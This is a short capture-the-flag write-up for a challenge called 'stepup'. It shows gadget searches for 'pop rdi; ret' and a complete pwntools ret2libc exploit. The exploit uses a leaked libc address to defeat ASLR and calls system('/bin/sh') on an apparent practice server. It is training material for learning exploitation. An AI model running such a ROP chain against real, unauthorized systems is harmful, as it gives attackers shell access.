stepup
Beating ASLR again, using 64-bit this time.
Getting our Gadget
$ ROPgadget --binary stepup | grep "pop rdi"
0x00000000004011db : pop rdi ; ret$ ropper -f stepup --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: stepup
0x00000000004011db: pop rdi; ret; [0x00401169]> /R pop rdi
0x004011db 5f pop rdi
0x004011dc c3 retWriting the Exploit
from pwn import *
elf = context.binary = ELF('./stepup')
libc = elf.libc
p = remote('vunrotc.cole-ellis.com', 6200)
p.recvuntil(b'at: ')
leak = int(p.recvline(), 16)
libc.address = leak - libc.sym.system
log.success(f'LIBC base: {hex(libc.address)}')
g_popRdi = 0x4011db
payload = b'A' * 40
payload += p64(g_popRdi)
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym.system)
p.sendline(payload)
p.interactive()Last updated